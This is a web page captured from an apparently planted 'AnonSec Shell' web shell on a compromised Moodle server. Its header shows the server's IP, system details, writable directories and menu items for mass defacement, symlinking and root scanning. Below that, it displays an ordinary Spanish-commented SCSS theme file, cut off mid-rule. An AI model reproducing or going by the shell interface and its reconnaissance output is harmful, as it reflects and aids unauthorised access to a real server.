AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/theme/imaster/scss/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/theme/imaster/scss/post.scss
//... General Post SCSS for use in all presets....

/*------------------------------------
   ?CONTENIDO
------------------------------------*/


/**
   * CONTENIDO...........Lo estás leyendo!!
   * AJUSTES A MOODLE...........Ajustes de los estilos de Moodle.
   * AJUSTES GENERALES...........Ajustes de los estilos generales.
   * FRONTPAGE...........Estilos del template.
   * COURSE...........Estilos del template.
   * COLUMNS...........Estilos del template.
   * CUESTIONARIO...........Estilos del template.
   * COMPONENTES...........Estilos de los componentes.
   * COURSE-BANNER-LANZADORES...........Estilos del banner y lanzadores del curso
   * TEACHER...........Estilos del bloque docente
   * BACKDROP...........Estilos del backdrop
   * ESTILOS PERSONALIZADOS...........Estilos que el tema no soporta ya que son muy personalizados
   * PRESENTACIÓN...........Estilos de la presentación de los cursos
   * AGILESSON AJUSTES PARA IMASTER...........Estilos plugin Agilesson personalizados
   * BLOQUE NECESITO AYUDA...........Estilos del bloque ayuda HTML
   * BLOQUE COMPAÑEROS...........Estilos del bloque compañeros generado por Moodle
   * BLOQUE EXPERTO...........Estilos del bloque experto HTML
**/


/*------------------------------------
   ?AJUSTES A MOODLE
------------------------------------*/

//...Header...
.page-context-header {
    padding-right: 1rem;
}

.header-button-group {
    margin-left: .3em;
    margin-right: .3em;
}

.page-context-header .header-button-group {
    float: right;
}

.page-context-header .header-button-group a {
    top: 0;
}

//...Pagina mensajes...
#page-message-index #region-main {
    padding-bottom: 100px;
}

.summary .no-overflow,
.activity .no-overflow {
    overflow: initial;
}


/*------------------------------------
   ?AJUSTES GENERALES
------------------------------------*/

h1,
.h1 {
    font-size: $h1-fontSize;
}


/*------------------------------------
   ?FRONTPAGE
------------------------------------*/

.imaster-frontpage__content {
    padding-top: 1rem;
}

//...Rejilla de cursos...
.imaster-courseGrid {
    margin-top: 1rem;
    display: grid;
    grid-template-columns: $courses-grid-columns;
    grid-gap: $courses-grid-gap;

    @media (min-width: $lg) {
        grid-template-columns: $courses-grid-columns--lg;
    }

    @media (min-width: $xxl) {
        grid-template-columns: $courses-grid-columns--xxl;
    }
}

//...Tarjeta de curso...
.imaster-courseCard {
    display: grid;
    grid-template-rows: auto 1fr auto;
    border: $courseCard-border;
    border-radius: $courseCard-borderRadius;
    overflow: hidden;
}

.imaster-courseCard__image {
    padding-top: 0;
    padding-left: 0;
    padding-right: 0;
    padding-bottom: $courseCard-image-paddingBottom;
    background-size: cover;
    background-position: center;
}

.imaster-courseCard__body {
    background-color: $courseCard-bgColor;
}

.imaster-courseCard__title {
    font-size: $courseCard-title-fontSize;
    color: $courseCard-title-color;
    background-color: $courseCard-title-bgColor;
    padding: $courseCard-padding;
    margin-bottom: 0;
}

.imaster-courseCard__description,
.imaster-courseCard__body p {
    padding: $courseCard-padding;
    margin-bottom: 0;
}

.imaster-courseCard__btnContent {
    padding: $courseCard-padding;
    text-align: center;
}

.imaster-courseCard__footer {
    background-color: $courseCard-bgColor;
    align-self: end;
}

.imaster-courseCard__progressText {
    text-align: right;
    padding: 0 $courseCard-padding;
}

.imaster-courseCard__progressNumber {
    font-weight: $font-weight-title;
}

.imaster-courseCard__progressBar {
    height: $courseCard-progressBar-height;
    background-color: $courseCard-progressBar-bgColor;
    padding: $courseCard-progressBar-padding;
}

.imaster-courseCard__progressBarBar {
    display: block;
    background-color: $courseCard-progressBar-colorBar;
    height: $courseCard-progressBar-height - ($courseCard-progressBar-padding * 2);
    border-radius: 1.2em;
    transition: width .3s, background-color .3s;
}

.imaster-courseCard--completo {
    .imaster-courseCard__progressBarBar {
        background-color: $courseCard-progressBar-colorBar--completo;
    }
}

//...Bloque de bienvenida...
.imaster-userWelcomeBlock {
    margin-top: 50px;
    margin-bottom: 20px;
    border-radius: .45rem;
    background-color: $userWelcomeBlock-bgColor;
    background-image: $userWelcomeBlock-bgImage;
    background-size: $userWelcomeBlock-bgSize;
    background-position: $userWelcomeBlock-bgPosition;
    background-repeat: $userWelcomeBlock-bgRepeat;
}

.imaster-userWelcomeBlock__header {
    text-align: center;
    margin-bottom: 20px;
}

.imaster-userWelcomeBlock__greeting {
    font-size: 1.2rem;
    margin-top: 1rem;
    padding-left: 1rem;
    padding-right: 1rem;
}

.imaster-userWelcomeBlock__userImage {
    margin-top: -50px;
}

.imaster-userWelcomeBlock__greetingText {
    display: block;
    color: $userWelcomeBlock-greetingText-color;
}

.imaster-userWelcomeBlock__greetingName {
    color: $userWelcomeBlock-greetingName-color;
    font-weight: $font-weight-title;
}

.imaster-userWelcomeBlock__body {
    padding: 1rem;
    border-top: $userWelcomeBlock-body-border-top;
    border-bottom: $userWelcomeBlock-body-border-bottom;
    margin-bottom: 1rem;
    margin-left: 1rem;
    margin-right: 1rem;
    text-align: center;
}

.imaster-userWelcomeBlock__footer {
    border-radius: 0 0 .45rem .45rem;
    padding-bottom: 50%;
    background-image: url([[pix:theme|frontpage/uwb-decor]]);
    background-size: contain;
    background-position: bottom right;
    background-repeat: no-repeat;
}

.block_welcome .imaster-block__content {
    background-color: white;
    padding: 0.6rem;
}


/*------------------------------------
   ?MY
------------------------------------*/

.region-main-content .imaster-block__title {
    background-color: $marca-color1;
    color: $white;
    padding: 0.7em;

    &:after {
        left: 0;
        width: 100%;
    }
}

$progress-bar-bg: $marca-color1;

.imaster-my__progressBar {
    background-color: $marca-color2;
}

.imaster-my__progressText {
    font-size: 90%;
    color: $marca-color1;
    margin-top: 5px;
    margin-left: 5px;
}


#page-my-index .card-body .categoryname.text-truncate {
    font-size: 14px;
}

#page-my-index .card-body .multiline {
    color: #25294F;
}


/*------------------------------------
   ?COURSE
------------------------------------*/

.imaster-course__regionMain {

    //...Header (título del curso)...
    .card {
        border-radius: $course-cardTitle-borderRadius;
        border: $course-cardTitle-border;
        border-bottom: $course-cardTitle-borderBottom;
    }

    .card-body {
        padding: $course-cardTitle-padding;
    }

    //...Contenido curso...
    #region-main {
        border: $course-regionMain-border;
        padding: $course-regionMain-padding;
        overflow-y: hidden;
    }

    .imaster-title--secondary {
        margin-bottom: $title-secondary-curso-margin-bottom;
    }

    .course-content ul.section {
        margin-left: 0;
        margin-right: 0;
        padding-left: 0;
    }

    .section .label .contentwithoutlink {
        padding-right: 0;
    }

    .section .label .mod-indent-outer {
        padding-left: 0;
    }

    //...Completado...
    .section .activity .actions {
        display: none;
    }

    //...Módulos de actividad...
    li.activity.modtype_label {
        border-bottom: 0;
        margin-left: 0;
    }

    li.activity {
        margin-bottom: $course-activity-marginBottom;
        border-bottom: $course-activity-borderBottom;
        border-radius: 0;
        padding-top: $course-activity-paddingTop;
        padding-bottom: $course-activity-paddingBottom;
        margin-left: 0;
    }

    li.activity>div {
        padding: 0;
    }

    .single-section .completionprogress,
    .completionprogress {
        display: none;
    }
}

//...Editing (Cuando se tiene activada la opción de edición)...
.editing {
    .section .label .contentwithoutlink {
        padding-right: 200px;
    }

    .section .label .mod-indent-outer {
        padding-left: 2rem;
    }

    //...Completado...
    .section .activity .actions {
        display: flex;
    }

    .single-section .completionprogress,
    .completionprogress {
        display: block;
    }
}

//... Navegación módulos ...
.imaster-course__regionMain .nav-tabs {
    border-bottom: none;
    background-color: $marca-color1;
    padding: 2px 15px 9px;
    border-radius: 5px;
}

.imaster-course__regionMain .nav-tabs .nav-link {
    position: relative;
    font-family: $font-family-title;
    font-size: $mod-nav-button-font-size;
    font-weight: $font-weight-title;
    color: $mod-nav-button-color;
    white-space: normal;
    border: 0;
    border-bottom: $mod-nav-button-border;
    border-radius: $mod-nav-button-border-radius;
    line-height: 1.2;
    margin: $mod-nav-button-margin;
    transition: $mod-nav-button-transition;
}

.imaster-course__regionMain .nav-tabs .nav-link:hover {
    cursor: pointer;
    color: $mod-nav-button-hover-color;
    box-shadow: $mod-nav-button-hover-box-shadow;
    transform: $mod-nav-button-hover-transform;
}

.imaster-course__regionMain .nav-tabs .nav-link:active {
    box-shadow: $mod-nav-button-active-box-shadow;
    transform: $mod-nav-button-active-transform;
}

.imaster-course__regionMain .nav-tabs .nav-link:after {
    content: "";
    position: absolute;
    bottom: 0;
    left: 0;
    width: 100%;
    height: 3px;
    background-color: $mod-nav-button-color;
}

.imaster-course__regionMain .nav-tabs .nav-item:first-child .nav-link:after {
    border-radius: 3px 0 0 3px;
}

.imaster-course__regionMain .nav-tabs .nav-item:last-child .nav-link:after {
    border-radius: 0 3px 3px 0;
}

.imaster-course__regionMain .nav-tabs .nav-link .tab_content.marker {
    font-weight: $font-weight-title;
}

.imaster-course__regionMain .nav-tabs .nav-link.active {
    color: $active-mod-nav-button-color;
    font-weight: $active-mod-nav-button-font-weight;
    background-color: $active-mod-nav-button-background-color;
    border-bottom: $active-mod-nav-button-border;
}

.imaster-course__regionMain .nav-tabs .nav-link.active:hover {
    color: $active-mod-nav-button-hover-color;
    background-color: $active-mod-nav-button-hover-background-color;
    border: 0;
    border-bottom: $active-mod-nav-button-hover-border;
}

.imaster-course__regionMain .nav-tabs .nav-link.active:active {
    box-shadow: $active-mod-nav-button-active-box-shadow;
    transform: $active-mod-nav-button-active-transform;
}

.imaster-course__regionMain .nav-tabs .nav-link.active:after {
    background-color: $active-mod-nav-button-color;
}

.imaster-course__regionMain .nav-tabs .nav-link.active .tab_content.marker {
    font-weight: $active-mod-nav-button-font-weight;
}

.imaster-course__regionMain .nav-tabs .tab_content {
    padding: $mod-nav-button-padding;
}

.imaster-course__regionMain .course-content ul.topics li.section .summary {
    margin-left: 0;
}


/*------------------------------------
   ?COLUMNS
------------------------------------*/

.imaster-columns {

    //...Header...
    .imaster-header {
        .card {
            border: 0;
            padding: 0;
        }

        .card-body {
            padding: 0 0 1rem;
        }
    }

    //...H1 header...
    .page-context-header {
        float: none;
        @extend .imaster-title__container;
        margin-bottom: 1rem;

        h1 {
            margin-bottom: 0.2rem;
        }

        .page-header-image {
            margin-bottom: .3rem;
        }
    }

    #maincontent+h2 {
        @extend .imaster-title--secondary;
    }

    //...Region main...
    #region-main {
        padding-left: 0;
        padding-right: 0;
        border: 0;
        overflow: initial;
    }

    //...Pagina perfil...
    .userprofile .profile_tree {
        display: grid;
        grid-template-columns: repeat(1, 1fr);
        gap: 1rem;

        @media (min-width: $sm) {
            grid-template-columns: repeat(2, 1fr);
        }

        section {
            margin-bottom: 0;
        }
    }
}

//...Foro...
.imaster-forumpost {
    background-color: $forum-card-bgColor;
    border: $forum-card-border;
    border-radius: $forum-card-borderRadius;
}

.imaster-forumpost__header {
    border-bottom: $forum-card-header-borderBotom;

    .imaster-userImage {
        width: 50px;
    }
}


/*------------------------------------
   ?CUESTIONARIO
------------------------------------*/

.que .formulation {
    padding: $questionnaire-form-padding;
    background-color: $questionnaire-form-bgColor;
}

.que .qtext {
    background-color: $questionnaire-form-question-bgColor;
    padding: $questionnaire-form-question-padding;
    border-radius: $questionnaire-form-question-borderRadius;
}

.que .ablock {
    padding: $questionnaire-form-reply-padding;
}

.formulation td select {
    width: 100%;
}

.confirmation-buttons .btn {
    margin-bottom: 10px;
}

//...Navegación por el cuestionario...
.path-mod-quiz #mod_quiz_navblock .qnbutton {
    color: $questionnaire-nav-color;
    font-size: $questionnaire-nav-fontSize;
    font-weight: $questionnaire-nav-fontWeight;
    width: 40px;
    border: $questionnaire-nav-border;
    border-radius: $questionnaire-nav-borderRadius;
    overflow: hidden;
    z-index: 1;
    display: flex;
    justify-content: center;
    align-items: center;

    &:hover {
        text-decoration: none;
    }
}

.path-mod-quiz #mod_quiz_navblock .qnbutton.thispage .thispageholder {
    border-width: $questionnaire-nav-thispageholder-border-width;
    border-color: $questionnaire-nav-thispageholder-border-color;
}

.path-mod-quiz #mod_quiz_navblock .qnbutton .thispageholder,
.accesshide {
    border-radius: $questionnaire-nav-borderRadius;
}

.path-mod-quiz #mod_quiz_navblock .qnbutton.notyetanswered .trafficlight,
.path-mod-quiz #mod_quiz_navblock .qnbutton.invalidanswer .trafficlight {
    z-index: -1;
}

.path-mod-quiz #mod_quiz_navblock .qnbutton.invalidanswer .trafficlight {
    background-color: $questionnaire-nav-complete-bgColor;
    margin-top: 0;
    height: 50%;
    width: 100%;
    background-image: none;
    z-index: -1;
    top: auto;
}

.path-mod-quiz #mod_quiz_navblock .qnbutton.complete .trafficlight,
.path-mod-quiz #mod_quiz_navblock .qnbutton.answersaved .trafficlight,
.path-mod-quiz #mod_quiz_navblock .qnbutton.requiresgrading .trafficlight {
    background-color: $questionnaire-nav-complete-bgColor;
    margin-top: 0;
    top: auto;
    height: 100%;
    z-index: -1;
}

.path-mod-quiz #mod_quiz_navblock .qnbutton.flagged .thispageholder {
    background-image: none;
    box-shadow: $questionnaire-nav-flagged-boxShadow;
}

//...Info...
.que .info {
    background-color: $questionnaire-info-bgColor;
    border: $questionnaire-info-border;
    border-radius: $questionnaire-info-borderRadius;
    width: 8rem;
}

.que .content {
    margin: 0 0 0 8.6rem;
}

.que h3.no {
    font-size: 0.9rem;
}

.que span.qno {
    font-size: 1.3em;
}

.questionflag:hover {
    text-decoration: underline;
}


/*------------------------------------
   ?COMPONENTES
------------------------------------*/

//...Títulos...
.imaster-title__container {
    border-bottom: $title-container-borderBottom;
    padding-bottom: $title-container-paddingBottom;

    h1 {
        margin-bottom: 0.2rem;
    }
}

.imaster-title--secondary {
    position: relative;
    background: $title-secondary-bg;
    padding: $title-secondary-padding;
    font-size: $title-secondary-fontSize;
    color: $title-secondary-color;
    margin-bottom: $title-secondary-margin-bottom;
}

//...Botones...
.btn {
    white-space: normal;
    border-color: initial;
    transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out, transform .15s ease-in-out;

    &:not(:disabled):not(.disabled):hover {
        box-shadow: $btn-shadow--hover;
        transform: $btn-transform--hover;
    }

    &:active,
    &:focus,
    &:active:focus,
    &:not(:disabled):not(.disabled):active:focus {
        box-shadow: $btn-shadow--active;
        transform: $btn-transform--active;
    }
}

.btn.btn-link {
    border-color: $btn-link-borderColor;

    &:not(:disabled):not(.disabled),
    &:hover {
        background-color: $btn-link-bgColor;
        box-shadow: $btn-link-shadow;
    }
}

.btn-primary {
    color: $btn-primary-color;
    font-weight: $btn-primary-weight;
    background-color: $btn-primary-bgColor;
    border: $btn-primary-border;

    &:hover {
        color: $btn-primary-color;
        background-color: $btn-primary-bgColor--hover;
        border: $btn-primary-border--hover;
    }

    &:active,
    &:not(:disabled):not(.disabled):active,
    &:not(:disabled):not(.disabled).active {
        color: $btn-primary-color;
        background-color: $btn-primary-bgColor;
        border: $btn-primary-border;
    }
}

.btn-secondary {
    font-weight: $btn-secondary-weight;
    color: $btn-secondary-color;
    background-color: $btn-secondary-bgColor;
    border: $btn-secondary-border;

    &:hover {
        color: $btn-secondary-color;
        background-color: $btn-secondary-bgColor--hover;
        border: $btn-secondary-border--hover;
    }

    &:active,
    &:not(:disabled):not(.disabled):active {
        color: $btn-secondary-color;
        border: $btn-secondary-border;
        background-color: $btn-secondary-bgColor;
    }
}

//...Imágenes de usuario...
.imaster-userImage,
.userpicture {
    border: $userImages-border;
    border-radius: $userImages-borderRadius;
    padding: $userImages-padding;
    box-sizing: $userImages-boxSizing;
}

//...Modal...
.moodle-dialogue-base .moodle-dialogue.mod_quiz_preflight_popup .moodle-dialogue-bd #mod_quiz_preflight_form #fgroup_id_buttonar {
    padding-bottom: 12px;
}

//...Login...
#page-wrapper #page.imaster-login {
    flex-direction: row;
}

.imaster-login {
    position: relative;
    background-image: $login-bgImg;
    background-repeat: no-repeat;
    background-size: 200% 100%, cover;
    background-position: left center, center;
    padding-bottom: $loginForm-paddingBottom;
    align-items: center;
    justify-content: center;

    @media (min-width: $md) {
        background-size: 65% 100%, cover;
    }
}

.imaster-login__container {
    max-width: $loginContainer-max-width;
    width: 100%;
    flex-wrap: wrap;
}

.imaster-loginForm__container {
    display: flex;
    align-items: center;
    flex-wrap: wrap;
}

.imaster-loginForm {
    width: 100%;
    max-width: $loginForm-maxWidth;
    padding: $loginForm-padding;
    border-radius: $loginForm-radius;
    border: $loginForm-border;
    background: $loginForm-image;
    box-shadow: $loginForm-boxShadow;

    .card {
        border: $loginForm-card-border;
    }

    .rememberpass,
    .forgetpass {
        font-size: 17px;
    }
}

.imaster-loginForm__header {
    display: none;
    background-color: transparent;
    border-bottom: none;
    padding: 1.5rem 1.25rem 0;
}

.imaster-bannerLogin {
    flex: 0 0 100%;
    max-width: 100%;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: $loginBanner-padding;
    margin-right: 0;
}

.imaster-bannerLogin__img {
    max-width: $loginBanner-max-width;
    width: 100%;
    margin-bottom: $loginBanner-marginBottom;
}

.imaster-bannerLogin__phrase {
    display: block;
    width: 100%;
    max-width: 500px;
    position: relative;
    bottom: 0;
    right: 0;
    margin-left: auto;
    margin-right: 0;

    @media (min-width: $md) {
        position: absolute;
    }
}

.imaster-login__footer {
    position: $loginFooter-position;
    bottom: $loginFooter-bottom;
    left: $loginFooter-left;
    width: 100%;
    padding: $loginFooter-padding;
    text-align: $loginFooter-textAlign;
    background-color: $marca-color1;
    border-top: 5px solid $marca-color2;

    .imaster-login__link {
        color: $loginFooter-color;
        font-weight: $loginFooter-fontWeight;
        font-size: $loginFooter-fontSize;
    }
}

//...Navbar...
.imaster-navbar {
    min-height: max-content;
    background-color: $navbar-bgColor;
    background-image: $navbar-bgImg1, $navbar-bgImg2;
    background-size: $navbar-bgSize1, $navbar-bgSize2;
    background-position: $navbar-bgPosition1, $navbar-bgPosition2;
    background-repeat: $navbar-bgRepeat;
    border: 0;
    border-bottom: $navbar-border;
    border-image: $navbar-borderGradient;
    box-shadow: $navbar-boxShadow;

    .nav-link {
        color: $navbar-navlink-color;
    }

    .usertext {
        font-size: 1rem;
        color: $navbar-usertext-color;
    }

    .dropdown-toggle::after {
        color: $navbar-usertextCarret-color;
        border-top: $navbar-usertextCarret-size solid;
        border-right: $navbar-usertextCarret-size solid transparent;
        border-bottom: 0;
        border-left: $navbar-usertextCarret-size solid transparent;
    }
}

.imaster-brand {
    max-width: $navbar-logo;
}

.imaster-logo {
    max-width: 100%;
}

//...Header...
.breadcrumb {
    font-size: $breadcrumb-fontSize;
}

.imaster-header {
    .userpicture {
        max-width: $header-userPicture-tamano;
        height: auto;
    }
}

.imaster-header__singlebutton {
    background-color: $singlebutton-bgColor;
    width: 100%;
    padding-left: 10px;
    padding-right: 10px;
    border-radius: .45rem;
    margin-bottom: 5px;
    text-align: right;

    .singlebutton {
        margin-top: 10px;
        margin-bottom: 10px;
    }
}

//...Botones fijos...
.imaster-fixedButtons {
    position: fixed;
    bottom: $fixedButtons-bottom;
    right: $fixedButtons-right;
    border-radius: $fixedButtons-radius;
    background-color: $fixedButtons-bgColor;
    padding-left: 5px;
    padding-right: 5px;
    z-index: 1021;

    .popover-region {
        margin-right: 0;

        .popover-region-toggle {
            width: auto;
            padding: 12px 13px 7px;

            &:before,
            &:after {
                right: 50%;
                transform: translateX(50%);
                bottom: 100%;
                border-bottom-color: $fixedButtons-bgColor;
                transition: bottom .3s;
            }
        }
    }

    .popover-region-toggle .icon {
        width: auto;
        height: auto;
        margin-right: 0;
        font-size: $fixedButtons-icon-tamano;
        border-radius: 50%;
        color: $fixedButtons-icon-bgColor;
        background-color: $fixedButtons-icon-color;
        box-shadow: 0px 0 0 6px $fixedButtons-icon-color;
        transition: color .3s, background-color .3s, box-shadow .3s;
    }

    .collapsed {
        .popover-region-toggle {

            &:before,
            &:after {
                bottom: 0;
            }

            .icon {
                color: $fixedButtons-icon-color;
                background-color: $fixedButtons-icon-bgColor;
                box-shadow: 0px 0 0 6px $fixedButtons-icon-bgColor;
            }
        }
    }

    .popover-region-toggle.imaster-fixedButtons__btn--active {
        &:before {
            content: "";
            display: inline-block;
            border-left: 10px solid transparent;
            border-right: 10px solid transparent;
            border-bottom: $fixedButtons-btn-caret;
            position: absolute;
            right: 50%;
            transform: translateX(50%);
            bottom: 100%;
            transition: bottom .3s;
        }

        .icon {
            color: $fixedButtons-icon-bgColor;
            background-color: $fixedButtons-icon-color;
            box-shadow: 0px 0 0 6px $fixedButtons-icon-color;
        }
    }

    //Contador de notificaciones
    .count-container {
        background-color: $fixedButtons-count-bgColor;
        right: 50%;
        transform: translateX(50%);
        top: -3px;
        padding: 3px;
    }
}

//...Notificaciones (ventana fija)...
.imaster-fixedButtons {
    .popover-region-container {
        top: auto;
        right: -100%;
        bottom: $notifications-bottom;
        border: $notifications-border;
        border-radius: $notifications-borderRadius;
        overflow: hidden;
    }
}

//...Mensajes (ventana fija)...
.imaster-messageDrawer {
    &.drawer {
        top: auto;
        bottom: $messages-bottom;
        right: 10px;
        height: $messages-height;
        border: $messages-border;
        border-radius: $messages-borderRadius;
        opacity: 1;
        overflow: hidden;
        transition: height .3s;

        &.hidden {
            opacity: 0;
            height: 0;
            width: 0;
            transition: height .3s, width 0s .3s, opacity 0s .3s;
        }
    }

    .card-header {
        overflow-x: hidden;
    }
}

//...Blocks (Tamaño de la columna de blocks)...
//When changing this please check the size of the calendar block
@include media-breakpoint-up(md) {
    @include page_layout($block-width--md);
}

@include media-breakpoint-up(lg) {
    @include page_layout($block-width--lg);
}

@include media-breakpoint-up(xl) {
    @include page_layout($block-width--xl);
}

//...Blocks (Columna de bloques que normalmente está al lado derecho) ...
.imaster-block {
    font-size: $block-fontSize;
    background-color: $block-bgColor;
    border: $block-border;
    margin-bottom: 1rem;

    .depth_1>.tree_item,
    .depth_1>.tree_item a {
        font-weight: $font-weight-title;
        color: $block-Depth1TreeItem-color;
    }

    .btn {
        font-size: 1em;
    }
}

.imaster-block__body {
    padding: 0;
}

.imaster-block__title {
    position: relative;
    font-size: $block-fontSizeTitle;
    text-align: center;
    padding: $block-paddingTitle;
    background-color: $block-bgColorTitle;
    color: $block-colorTitle;
    border-bottom: $block-borderTitle;
    border-radius: $border-radius $border-radius 0 0;
    margin-bottom: 0;

    &:after {
        content: "";
        position: absolute;
        bottom: 0;
        left: 10px;
        width: calc(100% - 20px);
        height: 3px;
        border-radius: 3px;
        background-color: $marca-color2;
    }
}

.imaster-block__content {
    padding: $block-paddingContent;

    .no-overflow {
        overflow: initial;
    }
}

.imaster-block__footer {

    .form-group,
    .form-control {
        width: 100%;
    }

    .btn[type="submit"] {
        margin-left: auto;
        margin-right: auto;
        margin-top: .6rem;
    }
}

//...Region main...
#region-main.imaster-regionMain {
    padding: $regionMain-padding;
    border: $regionMain-border;

    @media (min-width: $md) {
        padding: $regionMain-padding--md;
    }
}

.blockcolumn,
.region-main {
    max-width: 100%;
}

//...Footer...
.imaster-footer {
    background-color: $footer-bgColor;
    padding: $footer-padding;
}

.imaster-footer__content {
    margin-bottom: 0;
    color: $footer-color;
    text-align: center;
}

.imaster-footer__marca {
    font-weight: $font-weight-title;
    font-size: 1.1rem;
}

//...Embed...
.imaster-embed {
    background-color: $embed-bgColor;
    border: $embed-border;
    border-radius: $embed-border-radius;

    iframe {
        border: $embed-border;
    }
}

//Los estilos de aquí en adelante se deben pasar a cada plugin

/*------------------------------------
   ?COURSE-BANNER-LANZADORES Estilos del banner y lanzadores del curso
------------------------------------*/

.imaster-course__regionMain .course-content .topics {
    border-bottom: 4px solid $marca-color2;
}

.imaster-courseBanner {
    background-color: transparent;
    border-radius: $border-radius;
    display: grid;
    grid-template-columns: 100%;
    padding: 0;
    margin-bottom: .2rem;
}

@media (min-width: 767px) {
    .imaster-courseBanner {
        grid-template-columns: 40% 60%;
    }

    .imaster-courseBanner--contenido {
        grid-template-columns: 40% 60%;
    }
}

.imaster-courseBanner__column {
    padding: 1rem;
    display: flex;
    flex-wrap: wrap;
}

.imaster-courseBanner__logo {
    max-width: 100%;
}

// .imaster-courseBanner__title {
//     color: $white;
// }
.imaster-courseBanner__description {
    font-size: 1.1rem;
    color: $white;
    margin-bottom: 0;
}

.imaster-listUA {
    background-color: transparent;
    padding: .5rem 1rem 1rem;
    border-radius: $border-radius;
    margin-top: .5rem;
    margin-bottom: 0;
}

.imaster-launcherUA {
    display: grid;
    grid-template-columns: 150px 1fr;
    min-height: 90px;
    background-color: $marca-color1;
    background-image: url([[pix:theme|courses/background-launcher]]);
    background-repeat: no-repeat;
    background-position: right 20px center;
    background-blend-mode: soft-light;
    border: 0;
    margin-bottom: 1rem;
    border-radius: 0.45rem;
    overflow: hidden;
    transform: scale(1);
    transition: transform .3s;
}

.imaster-launcherUA:last-child {
    margin-bottom: 0;
}

.imaster-launcherUA:hover {
    cursor: pointer;
    text-decoration: none;
    transform: scale(1.02);
}

.imaster-launcherUA:active {
    transform: scale(1);
}

.imaster-launcherUA__column {
    display: flex;
    align-items: center;
    padding: .7rem;
    position: relative;
}

.imaster-launcherUA__numberContainer {
    background-color: transparent;
    padding: .5rem .4rem .4rem;
    justify-content: center;
    align-items: flex-end;
    position: relative;
}

.imaster-launcherUA__number {
    color: $white;
    font-family: $font-family-title;
    font-size: 5rem;
    font-weight: $font-weight-title;
    line-height: 1;
    margin-bottom: -25px;
}

.imaster-launcherUA__title {
    color: $white;
    font-family: $font-family-base;
    font-size: 1.2rem;
    font-weight: 300;
    margin-bottom: 0;
}

.imaster-launcherUA.imaster-launcherUA--locked {
    opacity: .2;
}

.imaster-launcherUA.imaster-launcherUA--locked:hover {
    opacity: .2;
    cursor: not-allowed;
    transform: none;
}

.imaster-launcherUA--check {
    .imaster-launcherUA__title {
        color: $marca-color2;
    }

    .imaster-launcherUA__number {
        color: $marca-color2;
    }
}

.imaster-launcherUA.imaster-launcherUA--evaluation {
    background-color: $marca-color2;
}

.imaster-launcherUA--check.imaster-launcherUA--evaluation {
    .imaster-launcherUA__title {
        color: $marca-color1;
    }

    .imaster-launcherUA__number {
        color: $marca-color1;
    }
}


/*------------------------------------
   ?TEACHER
------------------------------------*/

.imaster-teacherBlock__userImage {
    max-width: 60px;
}

.imaster-teacherBlock__userName {
    font-size: 1em;
    line-height: 1.2;
}


/*------------------------------------
   ?BACKDROP
------------------------------------*/

@keyframes backdropPreload {
    0% {
        opacity: 1;
    }

    99% {
        opacity: 0;
        height: 100vh;
    }

    100% {
        opacity: 1;
        height: 0;
    }
}

@keyframes loading {
    0% {
        transform: rotate(0);
    }

    100% {
        transform: rotate(360deg);
    }
}

.imaster-backdrop {
    position: fixed;
    top: 0;
    bottom: 0;
    left: -100%;
    right: 100%;
    width: 100%;
    height: 100vh;
    background-color: $gray-200;
    overflow: auto;
    z-index: 9999;
    transition: all 0.8s;
}

.imaster-backdrop.imaster-backdrop--in {
    left: 0;
    right: 0;
}

.imaster-backdrop__iframe {
    height: 100%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    border: 0;
}

//...Precarga backdrop...
.imaster-backdrop__preload {
    height: 100vh;
    width: 100%;
    background-color: $marca-color1;
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
    position: absolute;
    top: 0;
    left: 0;
    overflow: hidden;
    opacity: 1;
}

.imaster-backdrop__preload--invisible {
    animation: backdropPreload 0.8s forwards;
}

.imaster-backdropPreload__logo {
    max-width: 230px;
    width: 100%;
    margin-bottom: 1rem;
}

.imaster-backdropPreload__spinner {
    width: 38px;
    animation: loading 0.8s infinite;
}


/*------------------------------------
   ?ESTILOS PERSONALIZADOS
------------------------------------*/

.imaster-title__container h1::after,
.page-header-headings h1::after {
    content: "";
    width: 42px;
    height: 0.9em;
    background-image: url('https://web.escuelaimastera.com/wp-content/uploads/2019/09/favicon.png');
    display: inline-block;
    background-size: contain;
    background-repeat: no-repeat;
    background-position: center;
    position: relative;
    top: 0.15em;
}


/*------------------------------------
   ?PRESENTACIÓN
------------------------------------*/

.presentation__title {
    font-size: 32px;
    color: #edca86;
}

.presentationMainSection {
    margin-bottom: 1.5rem;
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 10px 20px;
    grid-template-areas: "area1T area2T""area1 area2";
}

@media (max-width: 767px) {
    .presentationMainSection {
        grid-template-columns: 1fr;
        grid-template-areas: "area1T""area1""area2T""area2";
    }
}

.presentationMainSection__area1T {
    grid-area: area1T;
}

.presentationMainSection__area1 {
    grid-area: area1;
}

.presentationMainSection__area2T {
    grid-area: area2T;
}

.presentationMainSection__area2 {
    grid-area: area2;
}

.presentationMainSection__text {
    display: inline-block;
    color: #25294f;
    margin-top: 10px;
}

.presentationMainSection__video {
    position: relative;
    width: 100%;
    height: 100%;
    min-height: 260px;
    border-radius: 10px;
    overflow: hidden;
}

.presentationMainSection__video iframe {
    position: absolute;
    top: 0;
